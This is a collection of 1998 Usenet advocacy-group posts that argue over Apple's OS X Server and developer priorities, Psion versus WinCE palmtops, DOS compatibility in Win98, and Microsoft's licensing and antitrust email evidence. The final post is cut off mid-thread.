From: Christian Neuss <neuss.@informatik.th-darmstadt.de.nos-pam>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.mac.hypercard,comp.sys.next.advocacy
Subject: Re: Lets Play A Game... (was: Re: A problem with QuickTime Vectors and Apple's graphics)
Date: 25 Nov 1998 11:53:09 GMT
Organization: Technische Universitaet Darmstadt
Message-ID: <73gr35$aq3$1@sun27.hrz.tu-darmstadt.de>
References: <73djkt$itc@news1.panix.com> <B27FA104-19AA4E@206.165.43.34> <73g21e$bd0@news1.panix.com> <SPAMLESSforrest-2511980017590001@term1-17.vta.west.net> <Macdev-2511980112550001@sdn-ar-001casbarp258.dialsprint.net>
Macdev@earthlink.net (Macdev) wrote:
>In article <SPAMLESSforrest-2511980017590001@term1-17.vta.west.net>,
>SPAMLESSforrest@west.net (Forrest Cameranesi) wrote:
>
>> High Priorities:
>>
>> YellowBox
>> Carbon
>> Java
>>
>> Low Priorities
>>
>> QuickTime
>> AppleScript
>> WebObjects
>> OpenGL
>> QuickDraw GX (more than just traditional GX though, see below).
>
>How do you justify WebObjects being a low priority?
Cause they're hardly making any money with it? And it's not
a very successful product, and the market niche is not an
important one anyway? :-)
Chris
--
// Christian Neuss "static typing? how quaint.."
// fax: (+49) 6151 16 5472
From: S S Sturrock <sss@holyrood.ed.ac.uk>
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: ATTN: Now _THIS_ really is ludicrous!...
Date: Wed, 25 Nov 1998 14:35:08 +0000
Organization: ICMB, University of Edinburgh
Message-ID: <365C159C.7F7F@holyrood.ed.ac.uk>
References: <7329lg$ot0$1@nnrp02.primenet.com><ee352.3248$%X5.8067515@newsgate.direct.ca><732i4r$r9n$1@nnrp03.primenet.com> <slrn759k3h.n3m.float@interport.net><01be1452$1e5eb6b0$a007280a@ntw_bmladmin><01be150e$a7080a40$a1f1ccc3@default> <73783s$3b9$1@jimsun.uucp> <01be169e$d7eb04a0$72f1ccc3@default> <Pine.SOL.3.96.981124191714.20775D-100000@cssun.rrze.uni-erlangen.de>
Mime-Version: 1.0
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NNTP-Posting-Date: 25 Nov 1998 14:34:01 GMT
For the record I am still using an old Psion 3a with 256K of memory
which I bought around four years back now, it still performs everything
I need of a personal organiser and I have a P75 48MB laptop if I need
more than that (running Linux naturally!)
Matthias Bethke wrote:
> > While the P3 performes very well in its traditional
> > areas of use, simple apointment scheduling for
> > people on the move (like my Psion3c), WinCE is
> > really targeted at a more powerful segment, typically
> > demanding better Internet and network connectivity,
>
> You mean, to have a more "powerful" palmtop, bugs, bloat and short battery
> life for a higher price are a good deal?
I agree, if I want to compute then I use a laptop (has anyone else seen
the new Sony job, holy shit!) For the sort of basic things I need an
organiser for, keeping addresses, appointments, calculator, alarm clock,
that sort of thing, well, the Psion is still doing sterling service and
it even has a pretty good games cartridge which has helped me while away
the hours on long trans-atlantic flights.
>
> > better integration with your Win95 box, a keyboard,
>
> *Demanding* indeed. Applications that are called the same like their
> PeeCee counterparts abut are not even file-format compatible. That is, one
> can read the other, but the result looks quite different.
Again, I agree. Particularly since I don`t have Win95 on my home
machine, being an Alpha it could run NT but since it is only a 166MHz
Alpha it would toil whereas Linux toddles along nicely. If I want
connectivity there is even a way to mount the Psion onto the Alpha via
the serial connection so that the Psion will appear in the UNIX
directory tree. The psion also has a reasonable VT100 emulator, quite a
laugh running pine from that! I can also export Psion Word documents to
RTF format which allows me to read them on the word processor of the
month, or even turn them into LaTeX.
>
> > high resolution color screens,
>
> Sure, WinCE is unusable without one. So the OS demands the screen, not the
> task the user wants hir palmtop to perfom.
Heh :-)
>
> > virtual writing,
>
> "Virtual" as opposed to "real"? Imagine, I can virtually write without a
> computer at all!
>
> > printing
>
> Printing from a palmtop? With a printer five times the size of the
> computer? If you carry anything around that can print an A4 sheet you
> could just as well add a full-blown Notebook with a decent OS.
Addmittedly I have a serial cable and can print straight from my Psion
to a laser printer, this has been useful now and then.
I don't think I will be replacing my Psion until I need a cell phone and
I can get an organiser combined with one which looks likely given the
Epoc/phone deal which must have really annoyed Baby Gates.
--
Dr. Shane Sturrock - sss@holyrood.ed.ac.uk
Linux, a better WinNT than WinNT
From: spagiola@my-dejanews.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: New date for OS X Server?
Date: Wed, 25 Nov 1998 14:40:39 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <73h4t2$rd7$1@nnrp1.dejanews.com>
References: <01be1188$01ce14e0$06387880@chewy> <whaddock-1711981824460001@digital-03-213.hou.neosoft.com> <72tfuq$oj0@shelob.afs.com> <ZIt42.1609$rY3.5423920@news.rdc1.sdca.home.com> <01be1317$dca3f220$06387880@chewy> <731j16$6r4$1@ash.prod.itd.earthlink.net> <%G%42.2862$rY3.6449682@news.rdc1.sdca.home.com> <732c5r$bim$1@nnrp1.dejanews.com> <732qrv$ae5@news1.panix.com> <733up8$l4h$1@nnrp1.dejanews.com> <739lhb$g1r@news1.panix.com> <73btsl$nb2$1@nnrp1.dejanews.com> <73djku$itc@news1.panix.com> <73efr0$n4o$1@nnrp1.dejanews.com> <73g21j$bd0@news1.panix.com>
sal@panix.com wrote:
> >There's no reason whatsoever this has to be an either/or situation. Apple has
> >already gone a long way towards satisfying the concerns of traditional Mac
> >developers by giving them Carbon. Now they won't have to re-write their apps,
> >as they were so afraid of doing. So they ought to be happy; their apps will
> >be first-class citizens on OSX, like YB apps. But there's no reason that
> >keeping them happy means also shafting YB developers. And frustrating
> >potential customers like me. I'm not saying this is personal; I'm saying that
> >this is really a short-sighted way to run a business.
>
> Carbon won't ship for a while.
> The moment that Apple announced Carbon, YB developers got the shaft. Apple
> users were given a big reason to postpone moving to OSX.
> While Carbon is good for OSX, it makes it much harder for YB developers. They
> know have to fight Mac Apps on the Mac, running native under the new OS, for
> sales. When given the choice of running Photoshop "in a box" and running a YB
> App native; many might try the YB App. When give the choice of a native PS and
> a YB App, much fewer will choose the new App. TANSTAAFL.
Fine. YB developers face a more competitive market than they would have under
the initial Rhapsody plan. And no doubt they'll sell proportionately fewer
apps as a result. I still think Carbon will ultimately be good for them if it
means more adoption of OSX, since a smaller share of a larger market may
actually mean more sales.
But that's for when OSX comes out. Right now we're waiting for OSX Server.
Given that OSX itself will be coming soon, and that traditional MacOS apps
will only run in the blue box, one imagines that OSX Server sales won't be
huge in any case. But why purposely cripple them with a high price? A few
more OSX Server sales will likely make no difference to traditional MacOS
developers, but can make a big difference for YB developers, who have been
running on fumes for years.
Stefano Pagiola
---
My opinions alone
Longtime MacOS and NeXTSTEP user, reluctant Windows NT user, future MacOS X
Server user
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: hugh@damnspam.semplicesoft.com (Hugh Johnson)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.mac.hypercard,comp.sys.next.advocacy
Subject: Re: Lets Play A Game... (was: Re: A problem with QuickTime Vectors and Apple's graphics)
Date: 25 Nov 1998 15:48:35 GMT
Organization: Semplice Software
Message-ID: <hugh-2511980947290001@184.minneapolis-08-09rs.mn.dial-access.att.net>
References: <73djkt$itc@news1.panix.com> <B27FA104-19AA4E@206.165.43.34> <73g21e$bd0@news1.panix.com> <SPAMLESSforrest-2511980017590001@term1-17.vta.west.net>
> High Priorities:
>
> YellowBox
> Carbon
> Java
>
Couldn't Java be the man-hour equivalent of a low priority, simply because
Sun does most of the work? Porting can be pretty difficult in spots, but
not in general. I think you could make room for WebObjects in high
priority.
---------------------------------------------------------------------
Hugh Johnson hugh@deletethis.semplicesoft.com Simple Tools
Semplice Software hughj@deletethis.kagi.com for
612-792-0583 BHuey@deletethis.att.net Smart People
<http://www.semplicesoft.com> -- Home of Font Gander Pro
---------------------------------------------------------------------
From: milo_mklinux@my-dejanews.com
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.mac.hypercard,comp.sys.next.advocacy
Subject: Re: In my own paranoid (?) defense... (Was Re: A problem with QuickTime Vectors
Date: Wed, 25 Nov 1998 15:51:30 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <73h91q$vfk$1@nnrp1.dejanews.com>
References: <*johnnyc*-2111981727130001@jchristie.halifaxcable.dal.ca> <B27F4F2C-66F7E@206.165.43.34>
In article <B27F4F2C-66F7E@206.165.43.34>,
"Lawson English" <english@primenet.com> wrote:
[snip]
> [readers who are not programmers should be assured that I am correct in my
> statements -take them to non-Mac programmers if you must to verify this,
> and ask yourself a simple question: what politics is involved in attempting
> to discredit me in this fashion? What is going on here?]
You're a smart guy Lawson, and there is technical merit in what you say, no
doubt about it. But you hurt your own cause by saying things like "what low
level applications are there to previw QuickTime vectors?" You then get the
obvious reply: "QuickTime." Episodes like that hurt your credibility. In
your apparent zeal to promote GX, you often seem to be taking the position
that there is no way to accomplish certain tasks without GX. I imagine that
will only get you dismissed by people who are accomplishing those tasks
without GX.
> --
> ----------------------------------------------------------------------
> Want Apple to license Cyberdog for third-party development? Go to:
> <http://www.pcsincnet.com/petition.html>
> ----------------------------------------------------------------------
>
>
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: The future of OS X Server is bleak
Content-Type: text/plain; charset=us-ascii
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Cc: nobody@replay.com
Organization: needs one
References: <199811251000.LAA32318@replay.com>
Mime-Version: 1.0
Date: Wed, 25 Nov 1998 16:08:36 GMT
In <199811251000.LAA32318@replay.com> Anonymous wrote:
> Having said that, Apple gets our support _and our mony_ as soon as
> they release the new fast hardware _with_ a full BSD OS X Server. I'll
> put our money where my mouth is.
Well that's amusing, considering that you posted this anonymously. You're
not even willing to identify your mouth, so this boast isn't worth the
electrons it's posted on.
Maury
From: Andrew Harrison SUNUK Consultancy <andrew.harrison@uk.sun.nospam.com>
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy
Subject: Re: ATTN: Now _THIS_ really is ludicrous!...
Date: Wed, 25 Nov 1998 16:17:58 +0000
Organization: Sun Microsystems
Message-ID: <365C2DB6.C4D14B8D@uk.sun.nospam.com>
References: <7329lg$ot0$1@nnrp02.primenet.com> <733u6n$a06$1@nnrp02.primenet.com> <slrn75bkoj.gqk.mark@ns1.oaai.com>
Mime-Version: 1.0
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To: mark@OAAI.COM
Mark Onyschuk wrote:
>
> In article <733u6n$a06$1@nnrp02.primenet.com>, Stephen Edwards wrote:
> >Well, considering what many of you have responded with, it seems like I
> >really have jumped the gun. Now that some of you have stated that other
> >UNIX variants have the same or higher requirements, it sort of puts
> >everything back into perspective. Personally, I have not had any
> >experience with high-end computer systems, and so I suppose I was merely
> >unaware that such requirements are actually quite common.
>
> Actually, in my opinion you should be more incensed by some of the other
> things you mentioned in your post. Putting GDI into the kernel?! That's gotta
> do good things for the stability of the OS and it's a great precedent. What
> goes in next? Word?!
>
Actually MS are talking about putting IIS in the kernel, which
should be even more exciting than the graphics being in the
kernel.
They are probably considering this because IIS performance
is currently 2x slower on NT than Apache or Solaris WebServer
running on the same box but using a more sensible OS.
> Its this kind of "wrong answer to the right problem" that burns my ass about
> Microsoft. If GDI is slow, then fix it for crying out loud! Do a better job.
> Hell, *Display* *PostScript* on my 25 MHz. 68040 NeXTstation feels faster than
> NT GDI on the 200 MHz PPro beside it.
>
> It doesn't have to be the case that one's OS feels like some kind of
> undergrad Operating Systems course class project. Sadly, with Microsoft
> OS products today, that's definitely the feel of it.
>
> Mark
Regards
Andrew Harrison
Enterprise IT Architect
From: Jonathan Harker <Limeyville@spamtoNull.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Wed, 25 Nov 1998 11:41:32 -0500
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Chad Irby wrote:
>
> J. Walt Covington" <johnandsusanne@earthlink.net> wrote:
>
> > Interesting you say that as I haven't used anything DOS in ages,
>
> So you use linux instead of Windows? That's nice.
What a remarkable conclusion...:) Your knowledge of various OS's is
astounding!
FYI, just how well do programs written for Win98 run under DOS? It's
remarkable you still exist in that fictional land where "DOS=Windows."
I'll be happy to render a bit more technical explanation as to the
differences for you, if you'd like. But somehow I think it would be a
waste of time as I'm sure you'd simply to choose to disbelieve it...
>
> > and I
> > was unaware that the current generation of Apple products were
> > completely incompatible with earlier Mac software.
>
> Not so. They just run in emulation. Quite nicely, at that.
Really? Just how then do you suppose that DOS programs run under Win98
in a "DOS box?"
>
> Unlike much of the "existing" old Windows and DOS programs that Wintel
> advocates claim to use, which are still DOS-based in most respects.
With Win3.x and earlier, Windows ran as a crappy shell on top of DOS.
Beginning with Win95 (with its 32-bit non-DOS kernel) DOS runs as a
shell under Windows.
Here's a quick example of the differences for you:
Under DOS I use the autoexec.bat file to set the parameters for my sound
card, for instance (things like IRQ, memory address, DMA channel, etc.)
Under DOS and Win3.x and earlier your system was *dependent* on these
settings--if your hardware wasn't configured properly in config.sys and
autoexec.bat--your goose is cooked--nothing runs.
But beginning with Win95, guess what? You no longer even need to *use*
either a config.sys or autoexec.bat file. That's right, you can strip
these files right out of your system and Win95/98 will boot just fine
without them. But it gets even better...
Let's say that under Win98 I elect to use my DOS autoexec.bat file to
set the IRQ of my sound card (for instance) to IRQ 5. But when I boot my
system into Win98, go to the device manager and locate my sound card, I
discover a remarkable thing: Win98 has *ignored* the parameters set in
the DOS autoexec.bat file and assigned it's own parameters automatically
with no user input required. I find in this example that Win98 has
decided my sound card will use IRQ 10, instead of the IRQ setting of 5 I
had set in the DOS autoexec.bat. Here we get to the meat of the example:
I decide to run an old DOS program directly from Win98 and the program
opens in a DOS box. Being a DOS-only program, it is "hard-coded" to find
a sound card at IRQ 5 and a certain address. Even though I had set those
parameters (IRQ 5, etc.) in my DOS autoexec.bat file which ran at boot
(that file itself being optional under Win95/98), the DOS box running
the DOS program under Win98 *also* ignores the settings I had placed in
the DOS autoexec.bat file. Result? I get *no* sound at all from the
application, or the DOS application will quit and I'll be returned to
Win98 because the program is looking for an IRQ 5 sound card and the
Win98 DOS box informs it that none is present at those parameters.
So how do I get this particular old DOS program to run properly under a
Win98 DOS box with sound? To run it under Win98, there's only one way to
do it:
You go to the device manager, locate the sound card, and *manually
change* the parameters of the card to mirror those the program expects
to find under DOS (because it is, after all, a DOS program.) After
you've done that, the program runs just fine with sound under a DOS box
from Win98.
At this point, the difference ought to be clear. Because Win3.x was
merely a shell running on top of DOS, the DOS config.sys and
autoexec.bat file settings were crucial and indespensible to the proper
functioning of the system. Under Win95/98, DOS is merely a shell which
runs *from* Win95/98, and therefore the DOS autoexec.bat and config.sys
files may be deleted from the system altogether and will have no impact
on the OS booting and assigning resource allocation.
When running programs written for Win95/98 (the vast majority of them
have been written that way for some time), you don't need to worry about
*any* of that. The programs simply allow Windows to manage the resource
allocation, and thus you'll get sound regardless of the parameters
Windows has assigned to the sound device. As I said, it's been sometime
since I've run DOS programs.
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.mac.hypercard,comp.sys.next.advocacy
Subject: Re: Lets Play A Game... (was: Re: A problem with QuickTime Vectors and Apple's graphics)
Date: 25 Nov 1998 16:53:48 GMT
Organization: Primenet (602)416-7000
Message-ID: <73hcms$q49$1@nnrp02.primenet.com>
References: <73djkt$itc@news1.panix.com> <B27FA104-19AA4E@206.165.43.34> <73g21e$bd0@news1.panix.com> <SPAMLESSforrest-2511980017590001@term1-17.vta.west.net> <hugh-2511980947290001@184.minneapolis-08-09rs.mn.dial-access.att.net>
Hugh Johnson <hugh@damnspam.semplicesoft.com> wrote:
: > High Priorities:
: >
: > YellowBox
: > Carbon
: > Java
: Couldn't Java be the man-hour equivalent of a low priority, simply because
: Sun does most of the work? Porting can be pretty difficult in spots, but
: not in general. I think you could make room for WebObjects in high
: priority.
I think Apple could become a player in the Enterprise Java market without
too much investment. It is more work than porting JDKs, but probably
isn't too expensive. They could even outsource it to keep their in-house
development focused on MacOS X.
It seems an obvious play to me, Enterprise Java (in the Bean form and the
non-Bean form) would seem to help Apple where they need it most -
accpetance in the workplace.
There is even some WebObjects synergy: "WebObjects is part of an
Enterprise Java solution ... let us show you the rest of our Enterprise
java initiative."
But perhaps Apple is leaving the workplace aside for now. My question is:
What market(s) does Apple think it is driving towards?
John
From: Jonathan Harker <Limeyville@spamtoNull.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Wed, 25 Nov 1998 11:50:03 -0500
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Chad Irby wrote:
>
>
> So you know of other huge monopolies that require their customers to pay
> for their products, even when those products aren't used for a particular
> thing?
>
> "Yeah, we'll sell you this stuff for $1.49 a pound, but you have to pay us
> for it even if you don't use it in a product.."
You keep stumbling on the premise that Microsoft *requires* (IE, doesn't
sell its products in *any* other fashion) customers to pay for products
they don't use.
I think the guy had a good point. Can you cite even one specific example
wherein a Microsoft customer *ever* was offered *only* a "restrictive"
or "exclusive" deal? From what I've seen, customers *elected* to
*voluntarily* sign these agreements *because* Microsoft came off the
price. That's very, very different from what you suggest.
If Microsoft said: "The *only* way we'll sell you these products is if
you sign these deals," then your point would be excellent and I'd agree
completely. But I've seen no evidence that this was ever the case.
From: Jonathan Harker <Limeyville@spamtoNull.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Wed, 25 Nov 1998 11:57:10 -0500
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Chad Irby wrote:
>
> Nope. As has been said before, if Microsoft pops up with a "someone
> forged this!" defense, they're going to take a big hit in the gut.
You still fail to grasp the basic issue, which at heart is one of
fairness and objectivity. Simply because Microsoft may not literally
proclaim that they have a question about these emails and their
authenticity does not mean that such questions do not exist and are not
legitimate. We know for a fact that they have questions about them,
based on Gate's stumbling when confronted with them--a sure indicator
that at least he was unaware of their existence prior to the DOJ
springing them on him.
From: charlie@antipope.org (Charlie Stross)
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy
Subject: Re: ATTN: Now _THIS_ really is ludicrous!...
Date: Wed, 25 Nov 1998 17:17:46 GMT
Organization: Chateau Antipope retirement home for senescent computers
Message-ID: <slrn75of5a.2qe.charlie@cs.ed.datacash.com>
References: <7329lg$ot0$1@nnrp02.primenet.com> <733u6n$a06$1@nnrp02.primenet.com> <slrn75bkoj.gqk.mark@ns1.oaai.com> <365C2DB6.C4D14B8D@uk.sun.nospam.com>
User-Agent: slrn/0.9.5.3 (UNIX)
On Wed, 25 Nov 1998 16:17:58 +0000,Andrew Harrison SUNUK Consultancy
<andrew.harrison@uk.sun.nospam.com> wrote:
>Actually MS are talking about putting IIS in the kernel, which
>should be even more exciting than the graphics being in the
>kernel.
>
>They are probably considering this because IIS performance
>is currently 2x slower on NT than Apache or Solaris WebServer
>running on the same box but using a more sensible OS.
Where are they talking about this?
(It's so monumentally stupid that if it's true words fail me ...)
-- Charlie
From: tsivertsen@c2i.net (Thomas Sivertsen)
Newsgroups: comp.sys.mac.advocacy,comp.sys.be.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Re: Why it is inevitable that Apple will become a Linux company
Date: Wed, 25 Nov 1998 18:22:39 +0100
Organization: =?ISO-8859-1?Q?h=F8h=3F/Asylant?=
Message-ID: <199811251822391661978@mp-40-112.daxnet.no>
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Lars Träger <Fam.Traeger@t-online.de> wrote:
> Reposted in comp.sys.next.advocacy
> Yves R. Crevecoeur <creveco@ibm.net> wrote:
> > adt@netcom.com (Anthony D. Tribelli) :
> > > Earl Malmrose (earl.malmrose@nospam.sierra.com) wrote:
> > > : Anthony D. Tribelli wrote in message ...
[SNIP]
> >
> > Apple should just port OpenStep to Linux and just sell that!
> >
> > With all the brains out there working on Linux, Apple would be guaranteed
> > that they would not get left behind in the dust again like they did with the
> > MacOS!
They have plenty of brains right where they are. The Mac OS fell behind
for a lot of other reasons. Management, Copland and M$ are some of them.
It was a bad core, and it couldn`t be fixed. If anyone had the guts,
they`d add inconvenience, but then M$ could have run over them pretty
quickly.
> >
> >
> > When you think about it, Apple got into trouble with the MacOS because
> > the it was very difficult to make the ToolBox re-entrant so what do they
> > do, they buy NeXT which is re-entrant but does not support SMP and is
> > very difficult to make it support SMP, so what will they do now?
Hummmmm..... Do you know what Mach 3.0 is? Do you know that they are
working on making just about everything in the OS thread-safe?
OPENSTEP/Rhapsody/Mac OS X could relatively easily be made to do SMP,
and IIRC just that was shown at WWDC `98, last May (on a 604e MP
machine). The reason it`s not dooooen yet is that they have other
features to add and Apple hasn`T got any SMP hardware for sale yet. Wait
until next year for that.1
> >
> > I say get off their butts and start writing a brand new OS or get an
> > exclusive license for the BeOS on PPC!
Yeah, right. What good would that do them? Having an immature OS without
any applications to actually let people use would do wonders for their
bottom line.
> >
> > This continuous patching and glueing of old software and newer software that
> > were never meant to work together has got to stop! Bloat Ware Sucks!
Well, I guess you know, since you`ve written all of this.
> >
> > ciao,
> > YC
--
Cheers, Thomas Sivertsen
tsivertsen@c2i.net
From: Jonathan Harker <Limeyville@spamtoNull.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Wed, 25 Nov 1998 12:11:49 -0500
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Chad Irby wrote:
>
> "J. Walt Covington" <johnandsusanne@earthlink.net> wrote:
>
> > What you completely miss is that Microsoft, even at the time of the 1995
> > Consent Decree, offered (and still offers) multiple sales deals to
> > companies, many of them without any restrictions whatever.
>
> Name one. "Buying full copies of Windows at retail price" isn't one of
> them, by the way.
>
I can't speak for him, but...
Have you ever heard of "volume" buying? Have you ever heard of "tier"
pricing? What do you mean, "Name one"...? I can't believe that you have
construed that the agreements some companies *elected* to sign with
Microsoft were the *only* deals offered these companies by Microsoft.
That doesn't even make sense.
From: cirby@magicnet.net (Chad Irby)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: 25 Nov 1998 17:47:22 GMT
Organization: MagicNet, Inc.
Message-ID: <cirby-2511981246420001@pm65-41.magicnet.net>
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Jonathan Harker <Limeyville@spamtoNull.com> wrote:
> Chad Irby wrote:
> >
> > So you use linux instead of Windows? That's nice.
>
> What a remarkable conclusion...:) Your knowledge of various OS's is
> astounding!
Why, thank you. As opposed to your problems, I guess.
> FYI, just how well do programs written for Win98 run under DOS?
Not very well at all. It's just that a huge portion of the "Windows"
software out there is just old DOS stuff, repackaged, and marked "Windows
compatible." Take a run through Best Buy sometime and read some of the
boxes in the software section.
> Really? Just how then do you suppose that DOS programs run under Win98
> in a "DOS box?"
Like normal. It's a shame to have to deal with it at all, though,
especially since so many of those old DOS programs are pretty crappy. But
for some reason, they always get included in the "there's so much software
for Windows" debates.
Not to mention that a lot of the programs that have been "updated" to be
"real" Windows programs have still got a lot of leftover code from the old
days...
(long rant about W95/95/DOS deleted because Harker just didn't get the
original point)
--
Chad Irby \ My greatest fear: that future generations will,
cirby@magicnet.net \ for some reason, refer to me as an "optimist."
From: cirby@magicnet.net (Chad Irby)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: 25 Nov 1998 17:49:18 GMT
Organization: MagicNet, Inc.
Message-ID: <cirby-2511981248380001@pm65-41.magicnet.net>
References: <364295A3.ABE8C927@earthlink.net> <364B0920.74AB6512@spamtoNull.com> <72i4pl$e69$1@coward.cc.utah.edu> <364DAC84.DDC3A1A4@spamtoNull.com> <19981114211830178656@pm2-3-11.aug.com> <365069F2.4ED5904F@spamtoNull.com> <72qrqc$l0q@news1.panix.com> <cirby-1711981107070001@pm51-46.magicnet.net> <36598CEC.A037534F@spamtoNull.com> <cirby-2311981234010001@pm53-43.magicnet.net> <365AE0D0.1C3F0058@earthlink.net> <cirby-2411981227070001@pm61-44.magicnet.net> <365C353B.9953A20C@spamtoNull.com>
Jonathan Harker <Limeyville@spamtoNull.com> wrote:
> You keep stumbling on the premise that Microsoft *requires* (IE, doesn't
> sell its products in *any* other fashion) customers to pay for products
> they don't use.
>
> I think the guy had a good point. Can you cite even one specific example
> wherein a Microsoft customer *ever* was offered *only* a "restrictive"
> or "exclusive" deal? From what I've seen, customers *elected* to
> *voluntarily* sign these agreements *because* Microsoft came off the
> price. That's very, very different from what you suggest.
When the choice is "choosing" a per-processor deal that gets you Windows
for $70/copy, versus "choosing" to buy it at full retail for a couple of
hundred, there's no real choice.
And it's very, very identical...
--
Chad Irby \ My greatest fear: that future generations will,
cirby@magicnet.net \ for some reason, refer to me as an "optimist."
From: Christian Benesch <a9226931@unet.univie.ac.at>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: The future of OS X Server is bleak
Date: Wed, 25 Nov 1998 22:31:27 +0100
Organization: Vienna University, Austria
Message-ID: <365C772F.F8D39B47@unet.univie.ac.at>
References: <199811251000.LAA32318@replay.com>
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Anonymous wrote:
> "Todd Heberlein (todd at NetSQ dot com)" <todd@dev.null> wrote:
> >PS. After the purchase of NeXT, Apple, like Linux, had a BSDish system
> >available for Intel, but Apple also had nice OpenStep/NEXTSTEP
> >applications and a killer development environment. However, over the
> >last two years, Linux has gained all the market share and mindshare and
> >Apple's Intel solution isn't on anyone's radar.
>
> Apple may have been forced by Microsoft (with the threat of dropping
> Office for the Mac, the ultimate disaster hanging over Apple's head).
Wasn't the agreement something like this:
Microsoft is to support and program new releases of Office in parallel
to Windows versions for next five years AND for EVERY new Mac operating
system in that period?
>
> But I agree with the picture of developments re the free unixes. And
> Apple's near total silence doesn't help. Tey seem to be focusing on
> 'mass market users' (iMac etc.) and that could spell the end of
> high-end niche operating. Jobs has always wanted to be the big mass
> marketplayer like gates is. I suspect Jobs may be the biggest opponent
> of MacOS X Server.
>
> Who believes MacOS X (Server) is still for real? Any real threat to
> Windows NT will turn Microsoft into something extremely nasty for
> Apple. The only hope is that the judge in the DOJ vs. MS case forces MS
> to support Office for other OS's (Mac and free unixes for instance) so
> that it doesn't work as a tool to keep the MS OS monopoly alive.
>
>
> Having said that, Apple gets our support _and our mony_ as soon as
> they release the new fast hardware _with_ a full BSD OS X Server. I'll
> put our money where my mouth is.
>
> --X
From: cirby@magicnet.net (Chad Irby)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: 25 Nov 1998 17:55:06 GMT
Organization: MagicNet, Inc.
Message-ID: <cirby-2511981254260001@pm65-41.magicnet.net>
References: <364295A3.ABE8C927@earthlink.net> <364B0920.74AB6512@spamtoNull.com> <72i4pl$e69$1@coward.cc.utah.edu> <364DAC84.DDC3A1A4@spamtoNull.com> <19981114211830178656@pm2-3-11.aug.com> <365069F2.4ED5904F@spamtoNull.com> <cirby-1611981402400001@pm61-11.magicnet.net> <3651B16C.DB43A980@spamtoNull.com> <F2L054.DJE@T-FCN.Net> <3659AEE8.D52972C0@spamtoNull.com> <3659c39f.0@news.depaul.edu> <365AEA58.AAECC09A@spamtoNull.com> <cirby-2411981302540001@pm61-44.magicnet.net> <365C36E6.9E6922B@spamtoNull.com>
Jonathan Harker <Limeyville@spamtoNull.com> wrote:
> We know for a fact that they have questions about them,
> based on Gate's stumbling when confronted with them--a sure indicator
> that at least he was unaware of their existence prior to the DOJ
> springing them on him.
Not at all. It was a very sure indicator (for anyone who actually *saw*
Gates' testimony, instead of reading a summary posted on a Microsoft Web
site) that he was trying (unsuccessfully) to evade the question.
If he wasn't aware of their existence, all he had to say was "I don't
remember that, I never wrote it." Instead, he went off into "well, it's
according to what the words you're using mean."
Arguing semantics instead of actual denial. Big difference.
--
Chad Irby \ My greatest fear: that future generations will,
cirby@magicnet.net \ for some reason, refer to me as an "optimist."
From: Jonathan Harker <Limeyville@spamtoNull.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Wed, 25 Nov 1998 12:58:09 -0500
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Maury Markowitz wrote:
>
> Sigh... as we have all take great pains to (again) belabour the obvious,
> I guess one more time won't hurt. The validity of the email is not being
> questioned. Therefore it's use as evidence is uncontested. Therefore it
> is exactly as "valid" (your word) as had it been written on paper and
> signed.
>
> Period.
Sigh...it is only because they have been stipulated to by both sides
that they have been so easily accepted into evidence. I can, for
instance, stipulate to a "lie detector test result" being admitted and
if the judge so rules it *will be* admitted. This does not change the
fact that lie detector tests are still considered extremely poor forms
of evidence and generally considered *inadmissable* as evidence.
>
> > I'd say that email is admissible so long as it is stipulated to by both
> > parties. I'm quite sure that if one party disputed it the situation
> > would not be as clear as you pretend.
>
> Chuck is not "pretending", this is happening right now in the courts.
> The courts have accepted these are "real".
Yes, but it seems as if you are pretending that the email evidence was
admitted *without* stipulation by both sides, simply because it is so
"ineffable."
>
> No it's not common sense, it's ill-informed pap. The very fact that
> there are experts on identifying documents, as there are experts on
> identifying e-mail, means that it takes an expert to validate both and thus
> it is just as "easy to prove or disprove". If it was any easier, there
> wouldn't have to be experts.
How can an expert prove I did not send an email from my machine if one I
did not send was sent from my machine? I simply don't understand the
illogic you insist on applying here. The *only* thing that can be
conclusively proved about an email is the *machine* from which it was
sent. You absolutely cannot prove *who* authored it.
>
> I hope you have to try this line of defense some day in court. You'll be
> in for a nasty surprise.
Only if my lawyer is as incapable of deductive analysis as you seem to
be...:)
>
> > Please, answer the question: if someone sent an email from your machine,
